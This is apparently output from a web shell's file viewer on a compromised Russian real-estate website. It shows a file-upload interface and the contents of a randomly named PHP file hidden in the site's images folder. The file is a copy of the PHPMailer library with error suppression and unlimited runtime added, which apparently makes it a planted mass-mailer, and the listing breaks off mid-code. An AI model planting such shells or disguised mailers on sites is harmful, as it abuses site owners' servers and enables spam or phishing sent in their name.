Your IP : 3.136.234.199


Current Path : /var/www/www-root/data/www/info.monolith-realty.ru/assets/images/
Upload File :
Current File : /var/www/www-root/data/www/info.monolith-realty.ru/assets/images/uemgp8a91.php

<?php namespace PHPMailer\PHPMailer;
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);
class Exception extends \Exception
{
    public function errorMessage()
    {
        return "<strong>" .
            htmlspecialchars($this->getMessage(), ENT_COMPAT | ENT_HTML401) .
            "</strong><br />\n";
    }
}
class PHPMailer
{
    const CHARSET_ASCII = "us-ascii";
    const CHARSET_ISO88591 = "iso-8859-1";
    const CHARSET_UTF8 = "utf-8";
    const CONTENT_TYPE_PLAINTEXT = "text/plain";
    const CONTENT_TYPE_TEXT_CALENDAR = "text/calendar";
    const CONTENT_TYPE_TEXT_HTML = "text/html";
    const CONTENT_TYPE_MULTIPART_ALTERNATIVE = "multipart/alternative";
    const CONTENT_TYPE_MULTIPART_MIXED = "multipart/mixed";
    const CONTENT_TYPE_MULTIPART_RELATED = "multipart/related";
    const ENCODING_7BIT = "7bit";
    const ENCODING_8BIT = "8bit";
    const ENCODING_BASE64 = "base64";
    const ENCODING_BINARY = "binary";
    const ENCODING_QUOTED_PRINTABLE = "quoted-printable";
    const ENCRYPTION_STARTTLS = "tls";
    const ENCRYPTION_SMTPS = "ssl";
    const ICAL_METHOD_REQUEST = "REQUEST";
    const ICAL_METHOD_PUBLISH = "PUBLISH";
    const ICAL_METHOD_REPLY = "REPLY";
    const ICAL_METHOD_ADD = "ADD";
    const ICAL_METHOD_CANCEL = "CANCEL";
    const ICAL_METHOD_REFRESH = "REFRESH";
    const ICAL_METHOD_COUNTER = "COUNTER";
    const ICAL_METHOD_DECLINECOUNTER = "DECLINECOUNTER";
    public $Priority;
    public $CharSet = self::CHARSET_ISO88591;
    public $ContentType = self::CONTENT_TYPE_PLAINTEXT;
    public $Encoding = self::ENCODING_8BIT;
    public $ErrorInfo = "";
    public $From = "";
    public $FromName = "";
    public $Sender = "";
    public $Subject = "";
    public $Body = "";
    public $AltBody = "";
    public $Ical = "";
    protected static $IcalMethods = [
        self::ICAL_METHOD_REQUEST,
        self::ICAL_METHOD_PUBLISH,
        self::ICAL_METHOD_REPLY,
        self::ICAL_METHOD_ADD,
        self::ICAL_METHOD_CANCEL,
        self::ICAL_METHOD_REFRESH,
        self::ICAL_METHOD_COUNTER,
        self::ICAL_METHOD_DECLINECOUNTER,
    ];
    protected $MIMEBody = "";
    protected $MIMEHeader = "";
    protected $mailHeader = "";
    public $WordWrap = 0;
    public $Mailer = "mail";
    public $Sendmail = "/usr/sbin/sendmail";
    public $UseSendmailOptions = true;
    public $ConfirmReadingTo = "";
    public $Hostname = "";
    public $MessageID = "";
    public $MessageDate = "";
    public $Host = "localhost";
    public $Port = 25;
    public $Helo = "";
    public $SMTPSecure = "";
    public $SMTPAutoTLS = true;
    public $SMTPAuth = false;
    public $SMTPOptions = [];
    public $Username = "";
    public $Password = "";
    public $AuthType = "";
    protected $oauth;
    public $Timeout = 300;
    public $dsn = "";
    public $SMTPDebug = 0;
    public $Debugoutput = "echo";
    public $SMTPKeepAlive = false;
    public $SingleTo = false;
    protected $SingleToArray = [];
    public $do_verp = false;
    public $AllowEmpty = false;
    public $DKIM_selector = "";
    public $DKIM_identity = "";
    public $DKIM_passphrase = "";
    public $DKIM_domain = "";
    public $DKIM_copyHeaderFields = true;
    public $DKIM_extraHeaders = [];
    public $DKIM_private = "";
    public $DKIM_private_string = "";
    public $action_function = "";
    public $XMailer = "";
    public static $validator = "php";
    protected $smtp;
    protected $to = [];
    protected $cc = [];
    protected $bcc = [];
    protected $ReplyTo = [];
    protected $all_recipients = [];
    protected $RecipientsQueue = [];
    protected $ReplyToQueue = [];
    protected $attachment = [];
    protected $CustomHeader = [];
    protected $lastMessageID = "";
    protected $message_type = "";
    protected $boundary = [];
    protected $language = [];
    protected $error_count = 0;
    protected $sign_cert_file = "";
    protected $sign_key_file = "";
    protected $sign_extracerts_file = "";
    protected $sign_key_pass = "";
    protected $exceptions = false;
    protected $uniqueid = "";
    const VERSION = "6.8.1";
    const STOP_MESSAGE = 0;
    const STOP_CONTINUE = 1;
    const STOP_CRITICAL = 2;
    const CRLF = "\r\n";
    const FWS = " ";
    protected static $LE = self::CRLF;
    const MAIL_MAX_LINE_LENGTH = 63;
    const MAX_LINE_LENGTH = 998;
    const STD_LINE_LENGTH = 76;
    public function __construct($exceptions = null)
    {
        if (null !== $exceptions) {
            $this->exceptions = (bool) $exceptions;
        }
        $this->Debugoutput =
            strpos(PHP_SAPI, "cli") !== false ? "echo" : "html";
    }
    public function __destruct()
    {
        $this->smtpClose();
    }
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        if ((int) ini_get("mbstring.func_overload") & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }
        $this->edebug("Sending with mail()");
        $this->edebug("Sendmail path: " . ini_get("sendmail_path"));
        $this->edebug("Envelope sender: {$this->Sender}");
        $this->edebug("To: {$to}");
        $this->edebug("Subject: {$subject}");
        $this->edebug("Headers: {$header}");
        if (!$this->UseSendmailOptions || null === $params) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $this->edebug("Additional params: {$params}");
            $result = @mail($to, $subject, $body, $header, $params);
        }
        $this->edebug("Result: " . ($result ? "true" : "false"));
        return $result;
    }
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        if ($this->Debugoutput instanceof \Psr\Log\LoggerInterface) {
            $this->Debugoutput->debug($str);
            return;
        }
        if (
            is_callable($this->Debugoutput) &&
            !in_array($this->Debugoutput, ["error_log", "html", "echo"])
        ) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case "error_log":
                error_log($str);
                break;
            case "html":
                echo htmlentities(
                preg_replace('/[\r\n]+/', "", $str),
                ENT_QUOTES,
                "UTF-8"
            ),
                    "<br>\n";
                break;
            case "echo":
            default:
                $str = preg_replace('/\r\n|\r/m', "\n", $str);
                echo gmdate("Y-m-d H:i:s"),
                    "\t",
                    trim(
                        str_replace(
                            "\n",
                            "\n                   \t                  ",
                            trim($str)
                        )
                    ),
                    "\n";
        }
    }
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = static::CONTENT_TYPE_TEXT_HTML;
        } else {
            $this->ContentType = static::CONTENT_TYPE_PLAINTEXT;
        }
    }
    public function isSMTP()
    {
        $this->Mailer = "smtp";
    }
    public function isMail()
    {
        $this->Mailer = "mail";
    }
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get("sendmail_path");
        if (false === stripos($ini_sendmail_path, "sendmail")) {
            $this->Sendmail = "/usr/sbin/sendmail";
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = "sendmail";
    }
    public function isQmail()
    {
        $ini_sendmail_path = ini_get("sendmail_path");
        if (false === stripos($ini_sendmail_path, "qmail")) {
            $this->Sendmail = "/var/qmail/bin/qmail-inject";
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = "qmail";
    }
    public function addAddress($address, $name = "")
    {
        return $this->addOrEnqueueAnAddress("to", $address, $name);
    }
    public function addCC($address, $name = "")
    {
        return $this->addOrEnqueueAnAddress("cc", $address, $name);
    }
    public function addBCC($address, $name = "")
    {
        return $this->addOrEnqueueAnAddress("bcc", $address, $name);
    }
    public function addReplyTo($address, $name = "")
    {
        return $this->addOrEnqueueAnAddress("Reply-To", $address, $name);
    }
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $pos = false;
        if ($address !== null) {
            $address = trim($address);
            $pos = strrpos($address, "@");
        }
        if (false === $pos) {
            $error_message = sprintf(
                "%s (%s): %s",
                $this->lang("invalid_address"),
                $kind,
                $address
            );
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new Exception($error_message);
            }
            return false;
        }
        if ($name !== null && is_string($name)) {
            $name = trim(preg_replace('/[\r\n]+/', "", $name));
        } else {
            $name = "";
        }
        $params = [$kind, $address, $name];
        if (
            static::idnSupported() &&
            $this->has8bitChars(substr($address, ++$pos))
        ) {
            if ("Reply-To" !== $kind) {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } elseif (!array_key_exists($address, $this->ReplyToQueue)) {
                $this->ReplyToQueue[$address] = $params;
                return true;
            }
            return false;
        }
        return call_user_func_array([$this, "addAnAddress"], $params);
    }
    public function setBoundaries()
    {
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = "b1=_" . $this->uniqueid;
        $this->boundary[2] = "b2=_" . $this->uniqueid;
        $this->boundary[3] = "b3=_" . $this->uniqueid;
    }
    protected function addAnAddress($kind, $address, $name = "")
    {
        if (!in_array($kind, ["to", "cc", "bcc", "Reply-To"])) {
            $error_message = sprintf(
                "%s: %s",
                $this->lang("Invalid recipient kind"),
                $kind
            );
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new Exception($error_message);
            }
            return false;
        }
        if (!static::validateAddress($address)) {
            $error_message = sprintf(
                "%s (%s): %s",
                $this->lang("invalid_address"),
                $kind,
                $address
            );
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new Exception($error_message);
            }
            return false;
        }
        if ("Reply-To" !== $kind) {
            if (
                !array_key_exists(strtolower($address), $this->all_recipients)
            ) {
                $this->{$kind}[] = [$address, $name];
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } elseif (!array_key_exists(strtolower($address), $this->ReplyTo)) {
            $this->ReplyTo[strtolower($address)] = [$address, $name];
            return true;
        }
        return false;
    }
    public static function parseAddresses(
        $addrstr,
        $useimap = true,
        $charset = self::CHARSET_ISO88591
    ) {
        $addresses = [];
        if ($useimap && function_exists("imap_rfc822_parse_adrlist")) {
            $list = imap_rfc822_parse_adrlist($addrstr, "");
            imap_errors();
            foreach ($list as $address) {
                if (
                    ".SYNTAX-ERROR." !== $address->host &&
                    static::validateAddress(
                        $address->mailbox . "@" . $address->host
                    )
                ) {
                    if (
                        property_exists($address, "personal") &&
                        defined("MB_CASE_UPPER") &&
                        preg_match('/^=\?.*\?=$/s', $address->personal)
                    ) {
                        $origCharset = mb_internal_encoding();
                        mb_internal_encoding($charset);
                        $address->personal = str_replace(
                            "_",
                            "=20",
                            $address->personal
                        );
                        $address->personal = mb_decode_mimeheader(
                            $address->personal
                        );
                        mb_internal_encoding($origCharset);
                    }
                    $addresses[] = [
                        "name" => property_exists($address, "personal")
                            ? $address->personal
                            : "",
                        "address" => $address->mailbox . "@" . $address->host,
                    ];
                }
            }
        } else {
            $list = explode(",", $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                if (strpos($address, "<") === false) {
                    if (static::validateAddress($address)) {
                        $addresses[] = ["name" => "", "address" => $address];
                    }
                } else {
                    list($name, $email) = explode("<", $address);
                    $email = trim(str_replace(">", "", $email));
                    $name = trim($name);
                    if (static::validateAddress($email)) {
                        if (
                            defined("MB_CASE_UPPER") &&
                            preg_match('/^=\?.*\?=$/s', $name)
                        ) {
                            $origCharset = mb_internal_encoding();
                            mb_internal_encoding($charset);
                            $name = str_replace("_", "=20", $name);
                            $name = mb_decode_mimeheader($name);
                            mb_internal_encoding($origCharset);
                        }
                        $addresses[] = [
                            "name" => trim($name, '\'" '),
                            "address" => $email,
                        ];
                    }
                }
            }
        }
        return $addresses;
    }
    public function setFrom($address, $name = "", $auto = true)
    {
        $address = trim((string) $address);
        $name = trim(preg_replace('/[\r\n]+/', "", $name));
        $pos = strrpos($address, "@");
        if (
            false === $pos ||
            ((!$this->has8bitChars(substr($address, ++$pos)) ||
                !static::idnSupported()) &&
                !static::validateAddress($address))
        ) {
            $error_message = sprintf(
                "%s (From): %s",
                $this->lang("invalid_address"),
                $address
            );
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new Exception($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto && empty($this->Sender)) {
            $this->Sender = $address;
        }
        return true;
    }
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }
    public static function validateAddress($address, $patternselect = null)
    {
        if (null === $patternselect) {
            $patternselect = static::$validator;
        }
        if (is_callable($patternselect) && !is_string($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        if (
            strpos($address, "\n") !== false ||
            strpos($address, "\r") !== false
        ) {
            return false;
        }
        switch ($patternselect) {
            case "pcre":
            case "pcre8":
                return (bool) preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                        '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                        '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                        '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                        '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                        "(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}" .
                        "|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:" .
                        "|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}" .
                        '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case "html5":
                return (bool) preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                        '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case "php":
            default:
                return filter_var($address, FILTER_VALIDATE_EMAIL) !== false;
        }
    }
    public static function idnSupported()
    {
        return function_exists("idn_to_ascii") &&
            function_exists("mb_convert_encoding");
    }
    public function punyencodeAddress($address)
    {
        $pos = strrpos($address, "@");
        if (
            !empty($this->CharSet) &&
            false !== $pos &&
            static::idnSupported()
        ) {
            $domain = substr($address, ++$pos);
            if (
                $this->has8bitChars($domain) &&
                @mb_check_encoding($domain, $this->CharSet)
            ) {
                $domain = mb_convert_encoding(
                    $domain,
                    self::CHARSET_UTF8,
                    $this->CharSet
                );
                $errorcode = 0;
                if (defined("INTL_IDNA_VARIANT_UTS46")) {
                    $punycode = idn_to_ascii(
                        $domain,
                        \IDNA_DEFAULT |
                            \IDNA_USE_STD3_RULES |
                            \IDNA_CHECK_BIDI |
                            \IDNA_CHECK_CONTEXTJ |
                            \IDNA_NONTRANSITIONAL_TO_ASCII,
                        \INTL_IDNA_VARIANT_UTS46
                    );
                } elseif (defined("INTL_IDNA_VARIANT_2003")) {
                    $punycode = idn_to_ascii(
                        $domain,
                        $errorcode,
                        \INTL_IDNA_VARIANT_2003
                    );
                } else {
                    $punycode = idn_to_ascii($domain, $errorcode);
                }
                if (false !== $punycode) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (Exception $exc) {
            $this->mailHeader = "";
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }
    public function preSend()
    {
        if (
            "smtp" === $this->Mailer ||
            ("mail" === $this->Mailer &&
                (\PHP_VERSION_ID >= 80000 || stripos(PHP_OS, "WIN") === 0))
        ) {
            static::setLE(self::CRLF);
        } else {
            static::setLE(PHP_EOL);
        }
        if (
            "mail" === $this->Mailer &&
            ((\PHP_VERSION_ID >= 70000 && \PHP_VERSION_ID < 70017) ||
                (\PHP_VERSION_ID >= 70100 && \PHP_VERSION_ID < 70103)) &&
            ini_get("mail.add_x_header") === "1" &&
            stripos(PHP_OS, "WIN") === 0
        ) {
            trigger_error($this->lang("buggy_php"), E_USER_WARNING);
        }
        try {
            $this->error_count = 0;
            $this->mailHeader = "";
            foreach (
                array_merge($this->RecipientsQueue, $this->ReplyToQueue)
                as $params
            ) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array([$this, "addAnAddress"], $params);
            }
            if (count($this->to) + count($this->cc) + count($this->bcc) < 1) {
                throw new Exception(
                    $this->lang("provide_address"),
                    self::STOP_CRITICAL
                );
            }
            foreach (["From", "Sender", "ConfirmReadingTo"] as $address_kind) {
                $this->{$address_kind} = trim($this->{$address_kind});
                if (empty($this->{$address_kind})) {
                    continue;
                }
                $this->{$address_kind} = $this->punyencodeAddress(
                    $this->{$address_kind}
                );
                if (!static::validateAddress($this->{$address_kind})) {
                    $error_message = sprintf(
                        "%s (%s): %s",
                        $this->lang("invalid_address"),
                        $address_kind,
                        $this->{$address_kind}
                    );
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new Exception($error_message);
                    }
                    return false;
                }
            }
            if ($this->alternativeExists()) {
                $this->ContentType = static::CONTENT_TYPE_MULTIPART_ALTERNATIVE;
            }
            $this->setMessageType();
            if (!$this->AllowEmpty && empty($this->Body)) {
                throw new Exception(
                    $this->lang("empty_message"),
                    self::STOP_CRITICAL
                );
            }
            $this->Subject = trim($this->Subject);
            $this->MIMEHeader = "";
            $this->MIMEBody = $this->createBody();
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;
            if ("mail" === $this->Mailer) {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend("To", $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine(
                        "To",
                        "undisclosed-recipients:;"
                    );
                }
                $this->mailHeader .= $this->headerLine(
                    "Subject",
                    $this->encodeHeader($this->secureHeader($this->Subject))
                );
            }
            if (
                !empty($this->DKIM_domain) &&
                !empty($this->DKIM_selector) &&
                (!empty($this->DKIM_private_string) ||
                    (!empty($this->DKIM_private) &&
                        static::isPermittedPath($this->DKIM_private) &&
                        file_exists($this->DKIM_private)))
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader =static::stripTrailingWSP($this->MIMEHeader) .
                    static::$LE .
                    static::normalizeBreaks($header_dkim) .
                    static::$LE;
            }
            return true;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }
    public function postSend()
    {
        try {
            switch ($this->Mailer) {
                case "sendmail":
                case "qmail":
                    return $this->sendmailSend(
                        $this->MIMEHeader,
                        $this->MIMEBody
                    );
                case "smtp":
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case "mail":
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer . "Send";
                    if (method_exists($this, $sendMethod)) {
                        return $this->{$sendMethod}(
                            $this->MIMEHeader,
                            $this->MIMEBody
                        );
                    }
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if (
                $this->Mailer === "smtp" &&
                $this->SMTPKeepAlive == true &&
                $this->smtp->connected()
            ) {
                $this->smtp->reset();
            }
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }
    protected function sendmailSend($header, $body)
    {
        if ($this->Mailer === "qmail") {
            $this->edebug("Sending with qmail");
        } else {
            $this->edebug("Sending with sendmail");
        }
        $header = static::stripTrailingWSP($header) . static::$LE . static::$LE;
        $sendmail_from_value = ini_get("sendmail_from");
        if (empty($this->Sender) && !empty($sendmail_from_value)) {
            $this->Sender = ini_get("sendmail_from");
        }
        if (
            !empty($this->Sender) &&
            static::validateAddress($this->Sender) &&
            self::isShellSafe($this->Sender)
        ) {
            if ($this->Mailer === "qmail") {
                $sendmailFmt = "%s -f%s";
            } else {
                $sendmailFmt = "%s -oi -f%s -t";
            }
        } else {
            $sendmailFmt = "%s -oi -t";
        }
        $sendmail = sprintf(
            $sendmailFmt,
            escapeshellcmd($this->Sendmail),
            $this->Sender
        );
        $this->edebug("Sendmail path: " . $this->Sendmail);
        $this->edebug("Sendmail command: " . $sendmail);
        $this->edebug("Envelope sender: " . $this->Sender);
        $this->edebug("Headers: {$header}");
        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                $mail = @popen($sendmail, "w");
                if (!$mail) {
                    throw new Exception(
                        $this->lang("execute") . $this->Sendmail,
                        self::STOP_CRITICAL
                    );
                }
                $this->edebug("To: {$toAddr}");
                fwrite($mail, "To: " . $toAddr . "\n");
                fwrite($mail, $header);
                fwrite($mail, $body);
                $result = pclose($mail);
                $addrinfo = static::parseAddresses(
                    $toAddr,
                    true,
                    $this->CharSet
                );
                $this->doCallback(
                    $result === 0,
                    [[$addrinfo["address"], $addrinfo["name"]]],
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From,
                    []
                );
                $this->edebug("Result: " . ($result === 0 ? "true" : "false"));
                if (0 !== $result) {
                    throw new Exception(
                        $this->lang("execute") . $this->Sendmail,
                        self::STOP_CRITICAL
                    );
                }
            }
        } else {
            $mail = @popen($sendmail, "w");
            if (!$mail) {
                throw new Exception(
                    $this->lang("execute") . $this->Sendmail,
                    self::STOP_CRITICAL
                );
            }
            fwrite($mail, $header);
            fwrite($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                $result === 0,
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From,
                []
            );
            $this->edebug("Result: " . ($result === 0 ? "true" : "false"));
            if (0 !== $result) {
                throw new Exception(
                    $this->lang("execute") . $this->Sendmail,
                    self::STOP_CRITICAL
                );
            }
        }
        return true;
    }
    protected static function isShellSafe($string)
    {
        if (
            !function_exists("escapeshellarg") ||
            !function_exists("escapeshellcmd")
        ) {
            return false;
        }
        if (
            escapeshellcmd($string) !== $string ||
            !in_array(escapeshellarg($string), ["'$string'", "\"$string\""])
        ) {
            return false;
        }
        $length = strlen($string);
        for ($i = 0; $i < $length; ++$i) {
            $c = $string[$i];
            if (!ctype_alnum($c) && strpos("@_-.", $c) === false) {
                return false;
            }
        }
        return true;
    }
    protected static function isPermittedPath($path)
    {
        return !preg_match("#^[a-z][a-z\d+.-]*://#i", $path);
    }
    protected static function fileIsAccessible($path)
    {
        if (!static::isPermittedPath($path)) {
            return false;
        }
        $readable = is_file($path);
        if (strpos($path, "\\\\") !== 0) {
            $readable = $readable && is_readable($path);
        }
        return $readable;
    }
    protected function mailSend($header, $body)
    {
        $header = static::stripTrailingWSP($header) . static::$LE . static::$LE;
        $toArr = [];
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = trim(implode(", ", $toArr));
        if ($to === "") {
            $to = "undisclosed-recipients:;";
        }
        $params = null;
        $sendmail_from_value = ini_get("sendmail_from");
        if (empty($this->Sender) && !empty($sendmail_from_value)) {
            $this->Sender = ini_get("sendmail_from");
        }
        if (!empty($this->Sender) && static::validateAddress($this->Sender)) {
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf("-f%s", $this->Sender);
            }
            $old_from = ini_get("sendmail_from");
            ini_set("sendmail_from", $this->Sender);
        }
        $result = false;
        if ($this->SingleTo && count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru(
                    $toAddr,
                    $this->Subject,
                    $body,
                    $header,
                    $params
                );
                $addrinfo = static::parseAddresses(
                    $toAddr,
                    true,
                    $this->CharSet
                );
                $this->doCallback(
                    $result,
                    [[$addrinfo["address"], $addrinfo["name"]]],
                    $this->cc,
                    $this->bcc,
                    $this->Subject,$body,$this->From,[]);
            }
        } else {
            $result = $this->mailPassthru(
                $to,
                $this->Subject,
                $body,
                $header,
                $params
            );
            $this->doCallback(
                $result,
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From,
                []
            );
        }
        if (isset($old_from)) {
            ini_set("sendmail_from", $old_from);
        }
        if (!$result) {
            throw new Exception(
                $this->lang("instantiate"),
                self::STOP_CRITICAL
            );
        }
        return true;
    }
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP();
        }
        return $this->smtp;
    }
    public function setSMTPInstance(SMTP $smtp)
    {
        $this->smtp = $smtp;
        return $this->smtp;
    }
    protected function smtpSend($header, $body)
    {
        $header = static::stripTrailingWSP($header) . static::$LE . static::$LE;
        $bad_rcpt = [];
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new Exception(
                $this->lang("smtp_connect_failed"),
                self::STOP_CRITICAL
            );
        }
        if ("" === $this->Sender) {
            $smtp_from = $this->From;
        } else {
            $smtp_from = $this->Sender;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError(
                $this->lang("from_failed") .
                    $smtp_from .
                    " : " .
                    implode(",", $this->smtp->getError())
            );
            throw new Exception($this->ErrorInfo, self::STOP_CRITICAL);
        }
        $callbacks = [];
        foreach ([$this->to, $this->cc, $this->bcc] as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0], $this->dsn)) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = ["to" => $to[0], "error" => $error["detail"]];
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $callbacks[] = [
                    "issent" => $isSent,
                    "to" => $to[0],
                    "name" => $to[1],
                ];
            }
        }
        if (
            count($this->all_recipients) > count($bad_rcpt) &&
            !$this->smtp->data($header . $body)
        ) {
            throw new Exception(
                $this->lang("data_not_accepted"),
                self::STOP_CRITICAL
            );
        }
        $smtp_transaction_id = $this->smtp->getLastTransactionID();
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        foreach ($callbacks as $cb) {
            $this->doCallback(
                $cb["issent"],
                [[$cb["to"], $cb["name"]]],
                [],
                [],
                $this->Subject,
                $body,
                $this->From,
                ["smtp_transaction_id" => $smtp_transaction_id]
            );
        }
        if (count($bad_rcpt) > 0) {
            $errstr = "";
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad["to"] . ": " . $bad["error"];
            }
            throw new Exception(
                $this->lang("recipients_failed") . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }
    public function smtpConnect($options = null)
    {
        if (null === $this->smtp) {
            $this->smtp = $this->getSMTPInstance();
        }
        if (null === $options) {
            $options = $this->SMTPOptions;
        }
        if ($this->smtp->connected()) {
            return true;
        }
        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        if ($this->Host === null) {
            $this->Host = "localhost";
        }
        $hosts = explode(";", $this->Host);
        $lastexception = null;
        foreach ($hosts as $hostentry) {
            $hostinfo = [];
            if (
                !preg_match(
                    '/^(?:(ssl|tls):\/\/)?(.+?)(?::(\d+))?$/',
                    trim($hostentry),
                    $hostinfo
                )
            ) {
                $this->edebug(
                    $this->lang("invalid_hostentry") . " " . trim($hostentry)
                );
                continue;
            }
            if (!static::isValidHost($hostinfo[2])) {
                $this->edebug($this->lang("invalid_host") . " " . $hostinfo[2]);
                continue;
            }
            $prefix = "";
            $secure = $this->SMTPSecure;
            $tls = static::ENCRYPTION_STARTTLS === $this->SMTPSecure;
            if (
                "ssl" === $hostinfo[1] ||
                ("" === $hostinfo[1] &&
                    static::ENCRYPTION_SMTPS === $this->SMTPSecure)
            ) {
                $prefix = "ssl://";
                $tls = false;
                $secure = static::ENCRYPTION_SMTPS;
            } elseif ("tls" === $hostinfo[1]) {
                $tls = true;
                $secure = static::ENCRYPTION_STARTTLS;
            }
            $sslext = defined("OPENSSL_ALGO_SHA256");
            if (
                static::ENCRYPTION_STARTTLS === $secure ||
                static::ENCRYPTION_SMTPS === $secure
            ) {
                if (!$sslext) {
                    throw new Exception(
                        $this->lang("extension_missing") . "openssl",
                        self::STOP_CRITICAL
                    );
                }
            }
            $host = $hostinfo[2];
            $port = $this->Port;
            if (
                array_key_exists(3, $hostinfo) &&
                is_numeric($hostinfo[3]) &&
                $hostinfo[3] > 0 &&
                $hostinfo[3] < 65536
            ) {
                $port = (int) $hostinfo[3];
            }
            if (
                $this->smtp->connect(
                    $prefix . $host,
                    $port,
                    $this->Timeout,
                    $options
                )
            ) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    if (
                        $this->SMTPAutoTLS &&
                        $sslext &&
                        "ssl" !== $secure &&
                        $this->smtp->getServerExt("STARTTLS")
                    ) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            $message = $this->getSmtpErrorMessage(
                                "connect_host"
                            );
                            throw new Exception($message);
                        }
                        $this->smtp->hello($hello);
                    }
                    if (
